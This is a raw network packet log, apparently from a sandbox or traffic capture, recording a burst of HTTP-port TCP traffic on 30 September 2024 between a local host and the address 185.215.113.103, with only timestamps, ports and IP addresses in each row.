Sep 30, 2024 09:51:12.918925047 CEST	49709	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:12.918935061 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:12.918946981 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:12.918956041 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:12.918967009 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:12.918977976 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:12.918993950 CEST	49709	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:12.919039011 CEST	49709	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:12.919078112 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:12.919111967 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:12.919121981 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:12.919126034 CEST	49709	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:12.919133902 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:12.919157982 CEST	49709	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:12.919173956 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:12.919187069 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:12.919192076 CEST	49709	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:12.919209957 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:12.919220924 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:12.919225931 CEST	49709	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:12.919244051 CEST	49709	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:12.919267893 CEST	49709	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:12.923496008 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:12.923556089 CEST	49709	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:12.923595905 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:12.923608065 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:12.923619986 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:12.923630953 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:12.923633099 CEST	49709	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:12.923655033 CEST	49709	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:12.923676968 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:12.923681974 CEST	49709	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:12.923688889 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:12.923700094 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:12.923711061 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:12.923721075 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:12.923722029 CEST	49709	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:12.923746109 CEST	49709	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:12.923763990 CEST	49709	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:12.923804045 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:12.923816919 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:12.923827887 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:12.923837900 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:12.923850060 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:12.923850060 CEST	49709	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:12.923868895 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:12.923877001 CEST	49709	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:12.923892975 CEST	49709	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:12.923918962 CEST	49709	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:12.923966885 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:12.923988104 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:12.924014091 CEST	49709	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:12.924031019 CEST	49709	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:12.924048901 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:12.924061060 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:12.924094915 CEST	49709	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:12.924200058 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:12.924211025 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:12.924222946 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:12.924235106 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:12.924245119 CEST	49709	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:12.924245119 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:12.924257994 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:12.924274921 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:12.924278021 CEST	49709	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:12.924285889 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:12.924294949 CEST	49709	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:12.924298048 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:12.924323082 CEST	49709	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:12.924345016 CEST	49709	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:12.924354076 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:12.924365997 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:12.924376965 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:12.924387932 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:12.924388885 CEST	49709	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:12.924401999 CEST	49709	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:12.924422979 CEST	49709	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:12.924463987 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:12.924474955 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:12.924484968 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:12.924499035 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:12.924509048 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:12.924508095 CEST	49709	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:12.924524069 CEST	49709	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:12.924526930 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:12.924540043 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:12.924550056 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:12.924552917 CEST	49709	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:12.924576998 CEST	49709	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:12.924592018 CEST	49709	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:12.924802065 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:12.924813032 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:12.924823999 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:12.924834013 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:12.924846888 CEST	49709	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:12.924869061 CEST	49709	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:12.975357056 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:12.975373030 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:12.975397110 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:12.975405931 CEST	49709	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:12.975409031 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:12.975424051 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:12.975435972 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:12.975441933 CEST	49709	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:12.975446939 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:12.975461006 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:12.975470066 CEST	49709	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:12.975488901 CEST	49709	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:12.975513935 CEST	49709	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:12.975553036 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:12.975564003 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:12.975574970 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:12.975584984 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:12.975590944 CEST	49709	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:12.975595951 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:12.975606918 CEST	49709	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:12.975606918 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:12.975624084 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:12.975625038 CEST	49709	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:12.975651979 CEST	49709	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:12.975660086 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:12.975667953 CEST	49709	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:12.975697994 CEST	49709	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:12.975720882 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:12.975733042 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:12.975755930 CEST	49709	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:12.975779057 CEST	49709	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:12.975790977 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:12.975801945 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:12.975814104 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:12.975846052 CEST	49709	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:12.975863934 CEST	49709	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:13.008565903 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:13.008582115 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:13.008594036 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:13.008620024 CEST	49709	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:13.008632898 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:13.008645058 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:13.008652925 CEST	49709	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:13.008657932 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:13.008670092 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:13.008678913 CEST	49709	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:13.008681059 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:13.008691072 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:13.008704901 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:13.008714914 CEST	49709	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:13.008716106 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:13.008733034 CEST	49709	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:13.008757114 CEST	49709	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:13.008789062 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:13.008802891 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:13.008815050 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:13.008825064 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:13.008829117 CEST	49709	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:13.008872032 CEST	49709	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:13.008905888 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:13.008917093 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:13.008928061 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:13.008938074 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:13.008948088 CEST	49709	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:13.008975029 CEST	49709	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:13.008996964 CEST	49709	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:13.009005070 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:13.009017944 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:13.009027958 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:13.009037018 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:13.009053946 CEST	49709	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:13.009078026 CEST	49709	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:13.009084940 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:13.009098053 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:13.009107113 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:13.009144068 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:13.009154081 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:13.009161949 CEST	49709	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:13.009166002 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:13.009206057 CEST	49709	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:13.009311914 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:13.009324074 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:13.009334087 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:13.009361982 CEST	49709	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:13.009377003 CEST	49709	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:13.009394884 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:13.009406090 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:13.009422064 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:13.009432077 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:13.009442091 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:13.009449005 CEST	49709	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:13.009457111 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:13.009464025 CEST	49709	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:13.009469032 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:13.009483099 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:13.009489059 CEST	49709	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:13.009510994 CEST	49709	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:13.009538889 CEST	49709	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:13.009568930 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:13.009581089 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:13.009607077 CEST	49709	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:13.009618044 CEST	49709	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:13.009627104 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:13.009638071 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:13.009648085 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:13.009656906 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:13.009673119 CEST	49709	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:13.009682894 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:13.009692907 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:13.009702921 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:13.009707928 CEST	49709	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:13.009732008 CEST	49709	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:13.009761095 CEST	49709	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:13.009773016 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:13.009785891 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:13.009809017 CEST	49709	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:13.009824038 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:13.009835005 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:13.009845972 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:13.009846926 CEST	49709	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:13.009879112 CEST	49709	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:13.009893894 CEST	49709	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:13.009901047 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:13.009916067 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:13.009927988 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:13.009938955 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:13.009943008 CEST	49709	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:13.009967089 CEST	49709	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:13.009994030 CEST	49709	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:13.010109901 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:13.010157108 CEST	49709	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:13.010212898 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:13.010224104 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:13.010252953 CEST	49709	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:13.010308981 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:13.010320902 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:13.010330915 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:13.010345936 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:13.010350943 CEST	49709	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:13.010358095 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:13.010366917 CEST	49709	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:13.010370970 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:13.010381937 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:13.010390997 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:13.010391951 CEST	49709	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:13.010401964 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:13.010412931 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:13.010420084 CEST	49709	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:13.010423899 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:13.010441065 CEST	49709	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:13.010468006 CEST	49709	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:13.010644913 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:13.010694981 CEST	49709	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:13.043795109 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:13.043807983 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:13.043819904 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:13.043838024 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:13.043848991 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:13.043859005 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:13.043870926 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:13.043872118 CEST	49709	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:13.043889046 CEST	49709	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:13.043889046 CEST	49709	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:13.043925047 CEST	49709	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:13.043979883 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:13.043992043 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:13.044002056 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:13.044013023 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:13.044020891 CEST	49709	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:13.044024944 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:13.044034958 CEST	49709	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:13.044035912 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:13.044043064 CEST	49709	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:13.044049025 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:13.044071913 CEST	49709	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:13.044090986 CEST	49709	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:13.044250965 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:13.044262886 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:13.044272900 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:13.044282913 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:13.044298887 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:13.044301033 CEST	49709	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:13.044312000 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:13.044322968 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:13.044323921 CEST	49709	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:13.044333935 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:13.044342041 CEST	49709	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:13.044347048 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:13.044357061 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:13.044368982 CEST	49709	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:13.044390917 CEST	49709	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:13.066093922 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:13.066108942 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:13.066128016 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:13.066138983 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:13.066149950 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:13.066160917 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:13.066171885 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:13.066194057 CEST	49709	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:13.066231966 CEST	49709	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:13.066231966 CEST	49709	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:13.066261053 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:13.066272974 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:13.066282988 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:13.066294909 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:13.066304922 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:13.066306114 CEST	49709	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:13.066315889 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:13.066332102 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:13.066333055 CEST	49709	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:13.066340923 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:13.066349030 CEST	49709	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:13.066368103 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:13.066376925 CEST	49709	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:13.066400051 CEST	49709	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:13.066423893 CEST	49709	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:13.100512981 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:13.100528955 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:13.100541115 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:13.100552082 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:13.100563049 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:13.100574017 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:13.100605965 CEST	49709	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:13.100637913 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:13.100650072 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:13.100661039 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:13.100661039 CEST	49709	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:13.100684881 CEST	49709	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:13.100704908 CEST	49709	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:13.100822926 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:13.100833893 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:13.100843906 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:13.100853920 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:13.100858927 CEST	80	49709	185.215.113.103	192.168.2.5
Sep 30, 2024 09:51:13.100866079 CEST	49709	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:13.100893974 CEST	49709	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:51:13.100995064 CEST	80	49709	185.215.113.103	192.168.2.5
